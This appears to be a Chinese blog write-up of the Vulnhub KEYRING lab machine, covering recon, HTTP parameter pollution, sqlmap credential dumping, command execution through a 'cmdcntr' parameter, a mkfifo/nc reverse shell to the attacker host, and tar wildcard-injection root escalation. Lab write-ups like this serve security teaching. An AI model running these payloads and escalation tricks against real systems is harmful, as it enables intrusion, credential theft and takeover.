Vulnhub-IA: KEYRING (1.0.1)渗透

一、前言

由于在做靶机的时候,涉及到的渗透思路是非常的广泛,所以在写文章的时候都是挑重点来写,尽量的不饶弯路。具体有不不懂都的可以直接在文章下评论或者私信博主
 如果不会导入Vulnhub靶机和配置网络环境的话,请点我直达发车文章!

 👉本文靶机下载连接-戳我直接下载!👈

1、靶机ip配置

  • Kali IP:192.168.2.103
  • 靶机IP:192.168.2.134靶机ip获取方式如下图
    在这里插入图片描述

2、渗透目标

  • 获取到/home/目录下的flag文件
  • 获取到/root/目录下的flag文件

3、渗透概括

  1. web目录扫描
  2. HPP(http参数污染)
  3. SQL注入
  4. RCE
  5. mkfifo与nc搭配反弹shell
  6. suid命令限制绕过提权


开始实战

一、信息获取

使用nmap工具对靶机做基本的信息收集nmap -sS -sV -A -T4 -p- 靶机IP如下所示
在这里插入图片描述
可以看到,开放的端口就两个22/ssh 80/http
22/sshssh可以直接pass掉了,这个版本基本上没有什么可利用的漏洞了,一般获取到了用户信息才使用这个

80/http基本上大部分的漏洞都是存在于web服务上,我们访问看看,如下图。是一个注册页面
那么我们就注册一个账户,我这里就是注册的user/123456,注册完之后我们再点击login按钮登录
在这里插入图片描述

当我们登录成功之后,就会跳转到下图所示的页面
在这里插入图片描述

我们选择到Control菜单,发现有一个提示信息
告诉我们了一个信息:http参数污染,简称HPP,造成原因是传递了具有相同名称的多个参数
在这里插入图片描述

二、目录扫描

由于没找到其他有用的信息,那么我们就用gobuster工具爆一下这个网站的目录
gobuster dir -u "http://192.168.2.134/" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php
如下图,爆出了一个history.php的php页面文件
在这里插入图片描述

我们访问一下history.php这个页面
如下图,一片空白,大概率是要传一个参数,那么我们继续往下操作
在这里插入图片描述

退出账号之后,再访问history.php这个页面发现多了一个信息,说明没有用户的活动
在这里插入图片描述

三、参数注入

我们重新登录之前创建好的账号,然后给一个?user=user的参数
发现有东西出来了,user参数后面给的是我们注册时候的用户名,如果给不存在的用户名的话就会是空白页
在这里插入图片描述

这里我们试一下管理员账户admin
给出了一个GIthub的项目地址
在这里插入图片描述

那我们就访问一下这个项目地址
进入html文件夹,发现这个就是我们扫描出来的页面源文件
在这里插入图片描述

发现了一个值得注意的一行代码system($_GET['cmdcntr']);
这个代码会执行我们传给cmdcntr参数的命令
在这里插入图片描述

那我们尝试利用一下
发现啥也没有,猜测应该是要使用admin用户才能利用了
在这里插入图片描述

四、SQL注入

我们到history.php这个界面,把Cookie拿一下,尝试对这个页面进行SQL注入
在这里插入图片描述

我们使用sqlmap工具进行SQL注入

sqlmap -u "http://192.168.2.134/history.php?user=admin" --cookie="PHPSESSID=m7d8l5dghkpbvdiqqc4p147drq" --current-db --batch

如下图,跑出来了一个users的数据库名
在这里插入图片描述

我们再脱一下表名

sqlmap -u "http://192.168.2.134/history.php?user=admin" --cookie="PHPSESSID=m7d8l5dghkpbvdiqqc4p147drq" -D users --tables --batch

如下图,有两个表,分别是logdetails这两个
在这里插入图片描述

我们主要对details进行dump

sqlmap -u "http://192.168.2.134/history.php?user=admin" --cookie="PHPSESSID=m7d8l5dghkpbvdiqqc4p147drq" -D users -T details --dump --batch

如下图,成功把details这个表dump出来,我们也拿到了admin用户的密码myadmin#p4szw0r4d
在这里插入图片描述

我们用获取到的admin账户和密码进行登录
我们再到Contorl.php页面的cmdcntr参数传递命令whoami
如下图,我们输入的命令已经成功执行并显示
在这里插入图片描述

五、获取shell

我们现在需要进行编写反弹shell的payload,并且在kali上用nc -lvvp 1234来监听shell

#payload如下,由于内容比较多,我们不能直接将这个传入到网站,需要先对其进行URL编码才能使用
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|dash -i 2>&1|nc 192.168.2.103 1234 >/tmp/f

#URL编码之后的payload
rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Cdash%20-i%202%3E%261%7Cnc%20192.168.2.103%201234%20%3E%2Ftmp%2Ff

我们将编码之后的payload传入给这个页面
在这里插入图片描述

如下图,我们的kali已经监听到shell了
我们使用$ python3 -c 'import pty;pty.spawn("/bin/bash")'命令升级一下shell
在这里插入图片描述

六、提权

我们查看一下/home目录下的用户
发现了一个john用户
在这里插入图片描述

我们尝试使用我们在之前进行SQL注入获得的john的密码Sup3r$S3cr3t$PasSW0RD进行登录
在这里插入图片描述

我们尝试使用sudo -l命令看一下,发现没有可以利用的东西
在这里插入图片描述

我们到john用户的家目录看一下,发现了一个flag文件user.txt,用cat命令查看,获取到我们的第一个flag
还有一个具有suid权限的可执行文件compress
在这里插入图片描述

我们使用scpcompress文件传到我们的kali上面研究一下
scp compress root@192.168.2.103:/root/share/
在这里插入图片描述

我们使用strings工具看一下这个文件的字符串
发现了一个命令/bin/tar cf archive.tar *
这个命令的功能就是将当前目录的所有文件创建为一个归档文件,并且文件名为archive.tar
在这里插入图片描述

我们通过如下命令进行提权

echo "" > '--checkpoint=1'
echo "" > '--checkpoint-action=exec=bash'
./compress

在这里插入图片描述

上面的提权过程可能和会感觉到很突兀,那么我在这里解释这里提权的原理

正常来说,我们在这个靶机进行tar的suid提权的payload应该是这样的
./bin/tar -cf archive.tar /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh


但是我们的/bin/tar并没有suid权限,转而代替的是compress文件具有suid权限
那么意思就是在我们运行compress文件的时候,我们就可以理解为以suid权限执行/bin/tar命令
但是我们compress这个可执行文件所执行的命令是/bin/tar cf archive.tar *
我们没有办法更改它所执行的命令,但是我们可以注意到有一个*符号,这个意思就是代替我们当前目录下的所有文件


那么当我们目录下存在名为'--checkpoint=1''--checkpoint-action=exec=bash'文件的时候
我们再执行./compress的时候,其所执行的/bin/tar cf archive.tar *语句就会发生改变
这个语句就会变成/bin/tar cf archive.tar user.txt --checkpoint=1 --checkpoint-action=exec=bash从而达到我们提权的目的

查看root目录下的flag文件root.txt
至此该靶机的渗透完成
在这里插入图片描述

  • 19
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

疯狂搞网安的18岁老登

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值